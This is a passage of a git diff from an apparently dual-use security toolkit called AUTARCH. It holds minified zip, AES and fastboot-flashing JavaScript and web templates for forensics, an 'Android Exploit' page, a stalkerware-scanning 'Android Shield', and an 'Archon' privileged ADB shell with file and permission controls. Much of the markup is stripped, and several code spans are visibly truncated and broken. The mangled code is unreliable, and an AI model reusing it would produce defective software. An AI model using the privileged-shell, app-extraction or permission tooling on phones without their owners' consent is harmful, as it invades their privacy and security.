t&e|t&a|e&a;if(n<=79)return t^e^a},_S:function(n,t){return t<>>32-n},_block:function(n){let t=this,e=t._h,a=Array(80);for(let U=0;U<16;U++)a[U]=n[U];let s=e[0],c=e[1],u=e[2],v=e[3],b=e[4];for(let U=0;U<=79;U++){U>=16&&(a[U]=t._S(1,a[U-3]^a[U-8]^a[U-14]^a[U-16]));let E=t._S(5,s)+t._f(U,c,u,v)+b+a[U]+t._key[Math.floor(U/20)]|0;b=v,v=u,u=t._S(30,c),c=s,s=E}e[0]=e[0]+s|0,e[1]=e[1]+c|0,e[2]=e[2]+u|0,e[3]=e[3]+v|0,e[4]=e[4]+b|0}};var er={};er.aes=class{constructor(n){let t=this;t._tables=[[[],[],[],[],[]],[[],[],[],[],[]]],t._tables[0][0][0]||t._precompute();let e=t._tables[0][4],a=t._tables[1],s=n.length,c,u,v,b=1;if(s!==4&&s!==6&&s!==8)throw new Error("invalid aes key size");for(t._key=[u=n.slice(0),v=[]],c=s;c<4*s+28;c++){let U=u[c-1];(c%s===0||s===8&&c%s===4)&&(U=e[U>>>24]<<24^e[U>>16&255]<<16^e[U>>8&255]<<8^e[U&255],c%s===0&&(U=U<<8^U>>>24^b<<24,b=b<<1^(b>>7)*283)),u[c]=u[c-s]^U}for(let U=0;c;U++,c--){let E=u[U&3?c:c-4];c<=4||U<4?v[U]=E:v[U]=a[0][e[E>>>24]]^a[1][e[E>>16&255]]^a[2][e[E>>8&255]]^a[3][e[E&255]]}}encrypt(n){return this._crypt(n,0)}decrypt(n){return this._crypt(n,1)}_precompute(){let n=this._tables[0],t=this._tables[1],e=n[4],a=t[4],s=[],c=[],u,v,b,U;for(let E=0;E<256;E++)c[(s[E]=E<<1^(E>>7)*283)^E]=E;for(let E=u=0;!e[E];E^=v||1,u=c[u]||1){let D=u^u<<1^u<<2^u<<3^u<<4;D=D>>8^D&255^99,e[E]=D,a[D]=E,U=s[b=s[v=s[E]]];let O=U*16843009^b*65537^v*257^E*16843008,Y=s[D]*257^D*16843008;for(let ae=0;ae<4;ae++)n[ae][E]=Y=Y<<24^Y>>>8,t[ae][D]=O=O<<24^O>>>8}for(let E=0;E<5;E++)n[E]=n[E].slice(0),t[E]=t[E].slice(0)}_crypt(n,t){if(n.length!==4)throw new Error("invalid aes block size");let e=this._key[t],a=e.length/4-2,s=[0,0,0,0],c=this._tables[t],u=c[0],v=c[1],b=c[2],U=c[3],E=c[4],D=n[0]^e[0],O=n[t?3:1]^e[1],Y=n[2]^e[2],ae=n[t?1:3]^e[3],y=4,_,w,I;for(let M=0;M>>24]^v[O>>16&255]^b[Y>>8&255]^U[ae&255]^e[y],w=u[O>>>24]^v[Y>>16&255]^b[ae>>8&255]^U[D&255]^e[y+1],I=u[Y>>>24]^v[ae>>16&255]^b[D>>8&255]^U[O&255]^e[y+2],ae=u[ae>>>24]^v[D>>16&255]^b[O>>8&255]^U[Y&255]^e[y+3],y+=4,D=_,O=w,Y=I;for(let M=0;M<4;M++)s[t?3&-M:M]=E[D>>>24]<<24^E[O>>16&255]<<16^E[Y>>8&255]<<8^E[ae&255]^e[y++],_=D,D=O,O=Y,Y=ae,ae=_;return s}};var tr={};tr.ctrGladman=class{constructor(n,t){this._prf=n,this._initIv=t,this._iv=t}reset(){this._iv=this._initIv}update(n){return this.calculate(this._prf,n,this._iv)}incWord(n){if((n>>24&255)===255){let t=n>>16&255,e=n>>8&255,a=n&255;t===255?(t=0,e===255?(e=0,a===255?a=0:++a):++e):++t,n=0,n+=t<<16,n+=e<<8,n+=a}else n+=1<<24;return n}incCounter(n){(n[0]=this.incWord(n[0]))===0&&(n[1]=this.incWord(n[1]))}calculate(n,t,e){let a;if(!(a=t.length))return[];let s=Ke.bitLength(t);for(let c=0;cs&&(n=e.hash(n));for(let c=0;cn.length){let e=n;n=new Uint8Array(t),n.set(e,0)}return n}function ze(n,t,e){return n.subarray(t,e)}var Yt=12,yi=class{constructor(t,e){let a=this;Object.assign(a,{password:t,passwordVerification:e}),fr(a,t)}async append(t){let e=this;if(e.password){let a=Aa(e,t.subarray(0,Yt));if(e.password=null,a[Yt-1]!=e.passwordVerification)throw new Error(ir);t=t.subarray(Yt)}return Aa(e,t)}async flush(){return{valid:!0,data:new Uint8Array(0)}}},ki=class{constructor(t,e){let a=this;Object.assign(a,{password:t,passwordVerification:e}),fr(a,t)}async append(t){let e=this,a,s;if(e.password){e.password=null;let c=crypto.getRandomValues(new Uint8Array(Yt));c[Yt-1]=e.passwordVerification,a=new Uint8Array(t.length+c.length),a.set(Sa(e,c),0),s=Yt}else a=new Uint8Array(t.length),s=0;return a.set(Sa(e,t),s),a}async flush(){return{data:new Uint8Array(0)}}};function Aa(n,t){let e=new Uint8Array(t.length);for(let a=0;a>>24]),n.keys[2]=~n.crcKey2.get()}function ur(n){let t=n.keys[2]|2;return _r(Math.imul(t,t^1)>>>8)}function _r(n){return n&255}function Ia(n){return n&4294967295}var $s="deflate",pr="inflate",Ta="Invalid signature",Ei=class{constructor(t,{signature:e,password:a,signed:s,compressed:c,zipCrypto:u,passwordVerification:v,encryptionStrength:b},{chunkSize:U}){let E=!!a;Object.assign(this,{signature:e,encrypted:E,signed:s,compressed:c,inflate:c&&new t({chunkSize:U}),crc32:s&&new jt,zipCrypto:u,decrypt:E&&u?new yi(a,v):new gi(a,s,b)})}async append(t){let e=this;return e.encrypted&&t.length&&(t=await e.decrypt.append(t)),e.compressed&&t.length&&(t=await e.inflate.append(t)),(!e.encrypted||e.zipCrypto)&&e.signed&&t.length&&e.crc32.append(t),t}async flush(){let t=this,e,a=new Uint8Array(0);if(t.encrypted){let s=await t.decrypt.flush();if(!s.valid)throw new Error(Ta);a=s.data}if((!t.encrypted||t.zipCrypto)&&t.signed){let s=new DataView(new Uint8Array(4).buffer);if(e=t.crc32.get(),s.setUint32(0,e),t.cipher!=s.getUint32(0,!1))throw new Error(Ta)}return t.compressed&&(a=await t.inflate.append(a)||new Uint8Array(0),await t.inflate.flush()),{data:a,signature:e}}},Ai=class{constructor(t,{encrypted:e,signed:a,compressed:s,level:c,zipCrypto:u,password:v,passwordVerification:b,encryptionStrength:U},{chunkSize:E}){Object.assign(this,{encrypted:e,signed:a,compressed:s,deflate:s&&new t({level:c||5,chunkSize:E}),crc32:a&&new jt,zipCrypto:u,encrypt:e&&u?new ki(v,b):new vi(v,U)})}async append(t){let e=this,a=t;return e.compressed&&t.length&&(a=await e.deflate.append(t)),e.encrypted&&a.length&&(a=await e.encrypt.append(a)),(!e.encrypted||e.zipCrypto)&&e.signed&&t.length&&e.crc32.append(t),a}async flush(){let t=this,e,a=new Uint8Array(0);if(t.compressed&&(a=await t.deflate.flush()||new Uint8Array(0)),t.encrypted){a=await t.encrypt.append(a);let s=await t.encrypt.flush();e=s.signature;let c=new Uint8Array(a.length+s.data.length);c.set(a,0),c.set(s.data,a.length),a=c}return(!t.encrypted||t.zipCrypto)&&t.signed&&(e=t.crc32.get()),{data:a,signature:e}}};function Hs(n,t,e){if(t.codecType.startsWith($s))return new Ai(n,t,e);if(t.codecType.startsWith(pr))return new Ei(n,t,e)}var Ua="init",Ra="append",ri="flush",Ps="message",si=(n,t,e,a,s,c,u)=>(Object.assign(n,{busy:!0,codecConstructor:t,options:Object.assign({},e),scripts:u,webWorker:c,onTaskFinished(){n.busy=!1,s(n)&&n.worker&&n.worker.terminate()}}),c?Vs(n,a):qs(n,a));function qs(n,t){let e=Hs(n.codecConstructor,n.options,t);return{async append(a){try{return await e.append(a)}catch(s){throw n.onTaskFinished(),s}},async flush(){try{return await e.flush()}finally{n.onTaskFinished()}}}}function Vs(n,t){let e;return n.interface||(n.worker=new Worker(new URL(n.scripts[0],go.url)),n.worker.addEventListener(Ps,c,!1),n.interface={append(u){return a({type:Ra,data:u})},flush(){return a({type:ri})}}),n.interface;async function a(u){if(!e){let v=n.options,b=n.scripts.slice(1);await s({scripts:b,type:Ua,options:v,config:{chunkSize:t.chunkSize}})}return s(u)}function s(u){let v=n.worker,b=new Promise((U,E)=>e={resolve:U,reject:E});try{if(u.data)try{u.data=u.data.buffer,v.postMessage(u,[u.data])}catch{v.postMessage(u)}else v.postMessage(u)}catch(U){e.reject(U),e=null,n.onTaskFinished()}return b}function c(u){let v=u.data;if(e){let b=v.error,U=v.type;if(b){let E=new Error(b.message);E.stack=b.stack,e.reject(E),e=null,n.onTaskFinished()}else if(U==Ua||U==ri||U==Ra){let E=v.data;U==ri?(e.resolve({data:new Uint8Array(E),signature:v.signature}),e=null,n.onTaskFinished()):e.resolve(E&&new Uint8Array(E))}}}}var fn=[],oi=[];function Ws(n,t,e){let s=!(!t.compressed&&!t.signed&&!t.encrypted)&&(t.useWebWorkers||t.useWebWorkers===void 0&&e.useWebWorkers),c=s&&e.workerScripts?e.workerScripts[t.codecType]:[];if(fn.length!b.busy);return v?si(v,n,t,e,u,s,c):new Promise(b=>oi.push({resolve:b,codecConstructor:n,options:t,webWorker:s,scripts:c}))}function u(v){let b=!oi.length;if(b)fn=fn.filter(U=>U!=v);else{let[{resolve:U,codecConstructor:E,options:D,webWorker:O,scripts:Y}]=oi.splice(0,1);U(si(v,E,D,e,u,O,Y))}return b}}var Gs=64,Zs="Abort error";async function Ks(n,t,e,a,s,c,u){let v=Math.max(c.chunkSize,Gs);return b();async function b(U=0,E=0){let D=u.signal;if(Uthis[e]=t[e])}},ci="File format is not recognized",Xs="End of central directory not found",Js="End of Zip64 central directory not found",Qs="End of Zip64 central directory locator not found",zs="Central directory header not found",eo="Local file header not found",to="Zip64 extra field not found",no="File contains encrypted entry",io="Encryption method not supported",Oa="Compression method not supported",Ca="utf-8",Fa=["uncompressedSize","compressedSize","offset"],$n=class{constructor(t,e={}){Object.assign(this,{reader:t,options:e,config:xs()})}async getEntries(t={}){let e=this,a=e.reader;if(a.initialized||await a.init(),a.size=a.size)throw new Error(ci);let E=0,D=await Ft(a,v,a.size-v),O=Qe(D),Y=s.offset-u;if($e(O,E)!=ma&&v!=Y){let y=v;v=Y,U=v-y,D=await Ft(a,v,a.size-v),O=Qe(D)}if(v<0||v>=a.size)throw new Error(ci);let ae=[];for(let y=0;y_.getData(B,$),ae.push(C),E=L}return ae}async close(){}},Ii=class{constructor(t,e,a){Object.assign(this,{reader:t,config:e,options:a})}async getData(t,e={}){let a=this,{reader:s,offset:c,extraFieldAES:u,compressionMethod:v,config:b,bitFlag:U,signature:E,rawLastModDate:D,compressedSize:O}=a,Y=a.localDirectory={};s.initialized||await s.init();let ae=await Ft(s,c,30),y=Qe(ae),_=Gt(a,e,"password");if(_=_&&_.length&&_,u&&u.originalCompressionMethod!=ws)throw new Error(Oa);if(v!=bs&&v!=ms)throw new Error(Oa);if($e(y,0)!=gs)throw new Error(eo);xr(Y,y,4);let w=c+30+Y.filenameLength,I=w+Y.extraFieldLength;Y.rawExtraField=ae.subarray(w,I),hr(a,Y,y,4);let M=a.encrypted&&Y.encrypted,V=M&&!u;if(M){if(!V&&u.strength===void 0)throw new Error(io);if(!_)throw new Error(no)}let L=await Ws(b.Inflate,{codecType:pr,password:_,zipCrypto:V,encryptionStrength:u&&u.strength,signed:Gt(a,e,"checkSignature"),passwordVerification:V&&(U.dataDescriptor?D>>>8&255:E>>>24&255),signature:E,compressed:v!=0,encrypted:M,useWebWorkers:Gt(a,e,"useWebWorkers")},b);t.initialized||await t.init();let C=Gt(a,e,"signal");return await Ks(L,s,t,I,O,b,{onprogress:e.onprogress,signal:C}),t.getData()}};function xr(n,t,e){let a=n.rawBitFlag=pt(t,e+2),s=(a&ga)==ga;Object.assign(n,{encrypted:s,version:pt(t,e),bitFlag:{level:(a&Is)>>1,dataDescriptor:(a&va)==va,languageEncodingFlag:(a&ya)==ya},rawLastModDate:$e(t,e+6),lastModDate:oo(n.rawLastModDate),filenameLength:pt(t,e+22),extraFieldLength:pt(t,e+24)})}function hr(n,t,e,a){let s=t.rawExtraField,c=t.extraField=new Map,u=Qe(new Uint8Array(s)),v=0;try{for(;vt[s]==wi);for(let s=0;s{if(t[s]==wi)if(n&&n[s]!==void 0)t[s]=n[s];else throw new Error(to)})}function La(n,t,e,a,s){let c=Qe(n.data);n.version=un(c,0),n.signature=$e(c,1);let u=new jt;u.append(s[e]);let v=Qe(new Uint8Array(4));v.setUint32(0,u.get(),!0),n[t]=new TextDecoder().decode(n.data.subarray(5)),n.valid=!s.bitFlag.languageEncodingFlag&&n.signature==$e(v,0),n.valid&&(a[t]=n[t],a[t+"UTF8"]=!0)}function ro(n,t,e){if(n){let a=Qe(n.data);n.vendorVersion=un(a,0),n.vendorId=un(a,2);let s=un(a,4);n.strength=s,n.originalCompressionMethod=e,t.compressionMethod=n.compressionMethod=pt(a,5)}else t.compressionMethod=e}async function so(n,t,e,a,s){let c=new Uint8Array(4),u=Qe(c);lo(u,0,t);let v=a+s;return await b(a)||await b(Math.min(v,e));async function b(U){let E=e-U,D=await Ft(n,E,U);for(let O=D.length-a;O>=0;O--)if(D[O]==c[0]&&D[O+1]==c[1]&&D[O+2]==c[2]&&D[O+3]==c[3])return{offset:E+O,buffer:D.slice(O,O+a).buffer}}}function Gt(n,t,e){return t[e]===void 0?n.options[e]:t[e]}function Ba(n,t){return!t||t.trim().toLowerCase()=="cp437"?Rs(n):new TextDecoder(t).decode(n)}function oo(n){let t=(n&4294901760)>>16,e=n&65535;try{return new Date(1980+((t&65024)>>9),((t&480)>>5)-1,t&31,(e&63488)>>11,(e&2016)>>5,(e&31)*2,0)}catch{}}function un(n,t){return n.getUint8(t)}function pt(n,t){return n.getUint16(t,!0)}function $e(n,t){return n.getUint32(t,!0)}function Cn(n,t){return Number(n.getBigUint64(t,!0))}function lo(n,t,e){n.setUint32(t,e,!0)}function Qe(n){return new DataView(n.buffer)}function Ft(n,t,e){return n.readUint8Array(t,e)}hs();Ja({Deflate:Zr,Inflate:_s});var mr=["boot","dt","dtbo","init_boot","pvmfw","recovery","vbmeta_system","vbmeta_vendor","vbmeta","vendor_boot","vendor_kernel_boot"],br=["odm","odm_dlkm","product","system_ext","system","vendor_dlkm","vendor"];var di=4e3,co=16e3,fo=1e3;async function Fn(n,t,e){try{return await n.getData(t,e)}catch(a){throw a instanceof ProgressEvent&&a.type==="error"&&a.target!==null?a.target.error:a}}async function wr(n,t,e,a){Oe(`Unpacking ${a}`),e("unpack",a,0);let s=await Fn(t,new pn("application/octet-stream"),{onprogress:(c,u)=>{e("unpack",a,c/u)}});Oe(`Flashing ${a}`),e("flash",a,0),await n.flashBlob(a,s,c=>{e("flash",a,c)})}async function Rn(n,t,e,a){for(let s of a){let c=new RegExp(`${s}(?:-.+)?\\.img$`),u=t.find(v=>v.filename.match(c));u!==void 0&&await wr(n,u,e,s)}}async function uo(n,t){for(let e of t.replace("\r","").split(` +`)){let a=e.match(/^require\s+(.+?)=(.+)$/);if(!a)continue;let s=a[1];s==="board"&&(s="product");let c=a[2],u=c.split("|");if(s==="partition-exists"){let v=await n.getVariable(`has-slot:${c}`);if(v!=="yes"&&v!=="no")throw new ut("FAIL",`Requirement ${s}=${c} failed, device lacks partition`);if(!mr.includes(c)&&!br.includes(c))throw new ut("FAIL",`Requirement ${s}=${c} failed, unrecognized partition`)}else{let v=await n.getVariable(s);if(u.includes(v))Oe(`Requirement ${s}=${c} passed`);else{let b=`Requirement ${s}=${c} failed, value = ${v}`;throw Oe(b),new ut("FAIL",b)}}}}async function Ma(n,t,e){try{await n.reboot(t,!1)}catch{}await n.waitForConnect(e)}async function _o(n,t,e,a,s=(c,u,v)=>{}){s("load","package",0);let u=await new $n(new Nn(t)).getEntries();await n.getVariable("is-userspace")==="yes"&&await n.reboot("bootloader",!0,a),await Rn(n,u,s,["bootloader"]),await an(s,"reboot","device",di,Ma(n,"bootloader",a)),await Rn(n,u,s,["radio"]),await an(s,"reboot","device",di,Ma(n,"bootloader",a));let v=await n.getVariable("snapshot-update-status");v!==null&&v!=="none"&&await n.runCommand("snapshot-update:cancel"),Oe("Loading nested images from zip"),s("unpack","images",0);let b=u.find(O=>O.filename.match(/image-.+\.zip$/)),U=await Fn(b,new pn("application/zip"),{onprogress:(O,Y)=>{s("unpack","images",O/Y)}}),D=await new $n(new Nn(U)).getEntries();if(b=D.find(O=>O.filename==="android-info.txt"),b!==void 0){let O=await Fn(b,new bi);await uo(n,O)}if(await Rn(n,D,s,mr),b=D.find(O=>O.filename==="super_empty.img"),b!==void 0){await an(s,"reboot","device",co,n.reboot("fastboot",!0,a));let O=await n.getVariable("super-partition-name");O||(O="super");let Y=e?"wipe":"flash";s(Y,"super",0);let ae=await Fn(b,new pn("application/octet-stream"));await n.upload(O,await Rt(ae),y=>{s(Y,"super",y)}),await n.runCommand(`update-super:${O}${e?":wipe":""}`)}await Rn(n,D,s,br),await n.getVariable("is-userspace")==="yes"&&await an(s,"reboot","device",di,n.reboot("bootloader",!0,a)),b=u.find(O=>O.filename.endsWith("avb_pkmd.bin")),b!==void 0&&(await n.runCommand("erase:avb_custom_key"),await wr(n,b,s,"avb_custom_key")),e&&await an(s,"wipe","data",fo,n.runCommand("erase:userdata"))}var po=255,xo=66,ho=3,ja=16384,mo=512*1024*1024,bo=1024*1024*1024,wo=1e4,Lt=class extends Error{constructor(t){super(t),this.name="UsbError"}},ut=class extends Error{constructor(t,e){super(`Bootloader replied with ${t}: ${e}`),this.status=t,this.bootloaderMessage=e,this.name="FastbootError"}},Hn=class{constructor(){this.device=null,this.epIn=null,this.epOut=null,this._registeredUsbListeners=!1,this._connectResolve=null,this._connectReject=null,this._disconnectResolve=null}get isConnected(){return this.device!==null&&this.device.opened&&this.device.configurations[0].interfaces[0].claimed}async _validateAndConnectDevice(){if(this.device===null)throw new Lt("Attempted to connect to null device");let t=this.device.configurations[0].interfaces[0].alternates[0];if(t.endpoints.length!==2)throw new Lt("Interface has wrong number of endpoints");this.epIn=null,this.epOut=null;for(let e of t.endpoints){if(Bt("Checking endpoint:",e),e.type!=="bulk")throw new Lt("Interface endpoint is not bulk");if(e.direction==="in")if(this.epIn===null)this.epIn=e.endpointNumber;else throw new Lt("Interface has multiple IN endpoints");else if(e.direction==="out")if(this.epOut===null)this.epOut=e.endpointNumber;else throw new Lt("Interface has multiple OUT endpoints")}Bt("Endpoints: in =",this.epIn,", out =",this.epOut);try{await this.device.open();try{await this.device.reset()}catch{}await this.device.selectConfiguration(1),await this.device.claimInterface(0)}catch(e){throw this._connectReject!==null&&(this._connectReject(e),this._connectResolve=null,this._connectReject=null),e}this._connectResolve!==null&&(this._connectResolve(void 0),this._connectResolve=null,this._connectReject=null)}async waitForDisconnect(){if(this.device!==null)return await new Promise((t,e)=>{this._disconnectResolve=t})}async waitForConnect(t=()=>{}){return navigator.userAgent.includes("Android")&&(await this.waitForDisconnect(),t()),await new Promise((e,a)=>{this._connectResolve=e,this._connectReject=a})}async connect(){let t=await navigator.usb.getDevices();Oe("Found paired USB devices:",t),t.length===1?this.device=t[0]:(Oe("No or multiple paired devices are connected, requesting one"),this.device=await navigator.usb.requestDevice({filters:[{classCode:po,subclassCode:xo,protocolCode:ho}]})),Oe("Using USB device:",this.device),this._registeredUsbListeners||(navigator.usb.addEventListener("disconnect",e=>{e.device===this.device&&(Oe("USB device disconnected"),this._disconnectResolve!==null&&(this._disconnectResolve(void 0),this._disconnectResolve=null))}),navigator.usb.addEventListener("connect",async e=>{Oe("USB device connected"),this.device=e.device;let a=this._connectReject!==null;try{await this._validateAndConnectDevice()}catch(s){if(!a)throw s}}),this._registeredUsbListeners=!0),await this._validateAndConnectDevice()}async _readResponse(){let t={text:""},e;do{let a=await this.device.transferIn(this.epIn,64),s=new TextDecoder().decode(a.data);e=s.substring(0,4);let c=s.substring(4);if(Oe(`Response: ${e} ${c}`),e==="OKAY")t.text+=c;else if(e==="INFO")t.text+=c+` +`;else if(e==="DATA")t.dataSize=c;else throw new ut(e,c)}while(e==="INFO");return t}async runCommand(t){if(t.length>64)throw new RangeError;let e=new TextEncoder().encode(t);return await this.device.transferOut(this.epOut,e),Oe("Command:",t),this._readResponse()}async getVariable(t){let e;try{e=(await Ur(this.runCommand(`getvar:${t}`),wo)).text}catch(a){if(a instanceof ut&&a.status=="FAIL")e=null;else throw a}return e?e.trim():null}async _getDownloadSize(){try{let t=(await this.getVariable("max-download-size")).toLowerCase();if(t)return Math.min(parseInt(t,16),bo)}catch{}return mo}async _sendRawPayload(t,e){let a=0,s=t.byteLength;for(;s>0;){let c=t.slice(a*ja,(a+1)*ja);a%1e3===0&&Bt(` Sending ${c.byteLength} bytes to endpoint, ${s} remaining, i=${a}`),a%10===0&&e((t.byteLength-s)/t.byteLength),await this.device.transferOut(this.epOut,c),s-=c.byteLength,a+=1}e(1)}async upload(t,e,a=s=>{}){Oe(`Uploading single sparse to ${t}: ${e.byteLength} bytes`);let s=e.byteLength.toString(16).padStart(8,"0");if(s.length!==8)throw new ut("FAIL",`Transfer size overflow: ${s} is more than 8 digits`);let c=await this.runCommand(`download:${s}`);if(c.dataSize===void 0)throw new ut("FAIL",`Unexpected response to download command: ${c.text}`);if(parseInt(c.dataSize,16)!==e.byteLength)throw new ut("FAIL",`Bootloader wants ${e.byteLength} bytes, requested to send ${e.byteLength} bytes`);Oe(`Sending payload: ${e.byteLength} bytes`),await this._sendRawPayload(e,a),Oe("Payload sent, waiting for response..."),await this._readResponse()}async reboot(t="",e=!1,a=()=>{}){t.length>0?await this.runCommand(`reboot-${t}`):await this.runCommand("reboot"),e&&await this.waitForConnect(a)}async flashBlob(t,e,a=s=>{}){await this.getVariable(`has-slot:${t}`)==="yes"&&(t+="_"+await this.getVariable("current-slot"));let s=await this._getDownloadSize(),c=await Rt(e.slice(0,Mt)),u=e.size,v=!1;try{let E=qa(c);E!==null&&(u=E.blocks*E.blockSize,v=!0)}catch{}if(await this.getVariable(`is-logical:${t}`)==="yes"&&(await this.runCommand(`resize-logical-partition:${t}:0`),await this.runCommand(`resize-logical-partition:${t}:${u}`)),e.size>s&&!v){Oe(`${t} image is raw, converting to sparse`);let E=await Rt(e),D=Cr(E);e=new Blob([D])}Oe(`Flashing ${e.size} bytes to ${t}, ${s} bytes per split`);let b=0,U=0;for await(let E of Fr(e,s))await this.upload(t,E.data,D=>{a((U+D*E.bytes)/u)}),Oe("Flashing payload..."),await this.runCommand(`flash:${t}`),b+=1,U+=E.bytes;Oe(`Flashed ${t} with ${b} split(s)`)}async bootBlob(t,e=a=>{}){Oe(`Booting ${t.size} bytes image`);let a=await Rt(t);await this.upload("boot.img",a,e),Oe("Booting payload..."),await this.runCommand("boot"),Oe(`Booted ${t.size} bytes image`)}async flashFactoryZip(t,e,a,s=c=>{}){return await _o(this,t,e,a,s)}};return Ir(vo);})(); diff --git a/web/templates/analyze.html b/web/templates/analyze.html new file mode 100644 index 0000000..316330e --- /dev/null +++ b/web/templates/analyze.html @@ -0,0 +1,90 @@ +{% extends "base.html" %} +{% block title %}Analysis & Forensics - AUTARCH{% endblock %} + +{% block content %} + + + +
    +

    File Analysis

    +
    + + +
    +
    
    +
    + + +
    +

    String Extraction

    +
    + + + +
    +
    
    +
    + + +
    +

    Hash Lookup

    +
    + + +
    +
    
    +
    + + +
    +

    Log Analysis

    +

    Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log

    +
    + + +
    +
    
    +
    + + +
    +

    Hex Dump

    +
    + + + + +
    +
    
    +
    + + +
    +

    File Compare

    +
    + + + +
    +
    
    +
    + +{% if modules %} +
    +

    Analyze Modules

    +
      + {% for name, info in modules.items() %} +
    • +
      +
      {{ name }}
      +
      {{ info.description }}
      +
      +
      v{{ info.version }}
      +
    • + {% endfor %} +
    +
    +{% endif %} +{% endblock %} diff --git a/web/templates/android_exploit.html b/web/templates/android_exploit.html new file mode 100644 index 0000000..d3bcd50 --- /dev/null +++ b/web/templates/android_exploit.html @@ -0,0 +1,1224 @@ +{% extends "base.html" %} +{% block title %}Android Exploit - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    ADB
    +
    + + {{ 'Ready' if status.adb else 'N/A' }} +
    +
    +
    +
    Fastboot
    +
    + + {{ 'Ready' if status.fastboot else 'N/A' }} +
    +
    +
    +
    Devices
    +
    --
    +
    +
    +
    Root
    +
    --
    +
    +
    + + +
    + ADB Mode: + + + + +
    + + +
    + + + +
    + + +
    + + + + + + + + +
    + + +
    +
    +

    App Extraction

    +
    + +
    +
    + +
    +
    +
    + + +
    + + + +
    +
    +
    +
    Select a device and run a command...
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + +{% endblock %} diff --git a/web/templates/android_protect.html b/web/templates/android_protect.html new file mode 100644 index 0000000..6984fe9 --- /dev/null +++ b/web/templates/android_protect.html @@ -0,0 +1,1365 @@ +{% extends "base.html" %} +{% block title %}Android Shield - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    ADB
    +
    + + {{ 'Available' if status.adb else 'Not found' }} +
    +
    +
    +
    Device
    +
    + + No device +
    +
    +
    +
    Signatures
    +
    + {{ sig_stats.stalkerware_packages }} packages +
    +
    +
    +
    Gov Spyware
    +
    + {{ sig_stats.government_spyware }} families +
    +
    +
    + + +
    + ADB Mode: + + + + +
    + + +
    + + + + +
    + + +
    + + + + + +
    + + + + +
    +
    +

    Quick Actions

    +
    + + + +
    +
    + +
    +

    Individual Scans

    +
    + + + + + + + + + + + +
    +
    + +
    +

    Results

    +
    + Select a device and run a scan to see results. +
    +
    +
    + + + + +
    +
    +

    Permission Analysis

    +
    + + + | + + +
    +
    +
    +

    Results

    +
    + Run a permission analysis to see results. +
    +
    +
    + + + + +
    +
    +

    Threat Remediation

    +
    + + +
    +
    + + + + +
    +
    + +
    +

    Network Cleanup

    +
    + + +
    +
    + +
    +

    CA Certificate Removal

    +
    + Run cert scan first to see installed certs. +
    +
    + +
    +

    Results

    +
    + Remediation results will appear here. +
    +
    +
    + + + + +
    +
    +

    Shizuku Service

    +
    +
    +
    Installed
    +
    --
    +
    +
    +
    Running
    +
    --
    +
    +
    +
    Version
    +
    --
    +
    +
    +
    + + +
    +
    + + + +
    +
    + +
    +

    Shield App

    +
    +
    +
    Installed
    +
    --
    +
    +
    +
    Version
    +
    --
    +
    +
    +
    + + +
    +
    + + + +
    +
    + +
    +

    Database

    +
    + + +
    +
    + Shizuku/Shield status will appear here. +
    +
    +
    + + + + +
    + + +
    +

    Honeypot Status

    +
    +
    +
    Active
    +
    + + -- +
    +
    +
    +
    Tier
    +
    --
    +
    +
    +
    Hosts
    +
    --
    +
    +
    +
    DNS
    +
    --
    +
    +
    +
    Ad Tracking
    +
    --
    +
    +
    +
    Fake Location
    +
    --
    +
    +
    + +
    + + +
    +

    Detection

    +
    + + + +
    +
    + + +
    +

    Tier 1 — ADB (no root)

    +
    + + + + +
    +
    + + + + +
    +
    + + +
    +

    Tier 2 — Shizuku

    +
    + + +
    +
    + + + + +
    +
    + + +
    +

    Tier 3 — Root

    +
    + + + | + + +
    +
    + + + + + + + +
    +
    + + +
    +
    + + +
    +

    Quick Actions

    +
    + + + + +
    +
    + + +
    +

    Tracker Database

    +
    + + +
    +
    + + +
    +

    Results

    +
    + Select a device and run a honeypot action to see results. +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/archon.html b/web/templates/archon.html new file mode 100644 index 0000000..5437ac8 --- /dev/null +++ b/web/templates/archon.html @@ -0,0 +1,465 @@ +{% extends "base.html" %} +{% block title %}Archon - AUTARCH{% endblock %} + +{% block content %} + + + +
    +
    +
    Device
    +
    + + Checking... +
    +
    +
    +
    ArchonServer
    +
    + + Unknown +
    +
    +
    +
    Privilege Level
    +
    Shell (UID 2000)
    +
    +
    + + +
    + + + + + + +
    + + +
    +
    +

    Privileged Shell

    +

    Commands run as shell (UID 2000) via ADB — same as Shizuku privilege level.

    +
    + + +
    +
    + + + + + + + + +
    +
    +
    +
    + + +
    +
    +

    File Browser

    +

    Browse and copy files with shell privileges — access protected directories.

    +
    + + +
    +
    + + + + + +
    +
    + +

    Copy File (on device)

    +
    +
    + + +
    +
    + + +
    +
    +
    + +
    +
    + +

    Pull to Server / Push to Device

    +
    +
    + + +
    +
    + + +
    +
    +
    + + +
    +
    +
    +
    + + +
    +
    +

    Package Manager

    +
    + + +
    +
    +
    +
    +
    + + +
    +
    +

    Permission Manager

    +

    Grant or revoke runtime permissions and appops for any package.

    + +

    Runtime Permissions

    +
    +
    + + +
    +
    + + +
    +
    +
    + + + +
    + +

    AppOps

    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +

    Android Settings Database

    +

    Read and write system/secure/global settings with shell privileges.

    +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +

    ArchonServer Bootstrap

    +

    Start/stop the ArchonServer privileged process on the connected device.

    +
    + + + +
    +
    +
    +
    + + +{% endblock %} diff --git a/web/templates/base.html b/web/templates/base.html new file mode 100644 index 0000000..970a657 --- /dev/null +++ b/web/templates/base.html @@ -0,0 +1,148 @@ + + + + + + {% block title %}AUTARCH{% endblock %} + + {% block extra_head %}{% endblock %} + + + {% if session.get('user') %} +
    + +
    + {% with messages = get_flashed_messages(with_categories=true) %} + {% if messages %} +
    + {% for category, message in messages %} +
    {{ message }}
    + {% endfor %} +
    + {% endif %} + {% endwith %} + {% block content %}{% endblock %} +
    +
    + {% else %} + + {% endif %} + + + + + + + + {% if session.get('user') %} + + + + + + + {% endif %} + + diff --git a/web/templates/category.html b/web/templates/category.html new file mode 100644 index 0000000..4bf5115 --- /dev/null +++ b/web/templates/category.html @@ -0,0 +1,27 @@ +{% extends "base.html" %} +{% block title %}{{ cat_name }} - AUTARCH{% endblock %} + +{% block content %} + + +{% if modules %} +
    +

    Modules

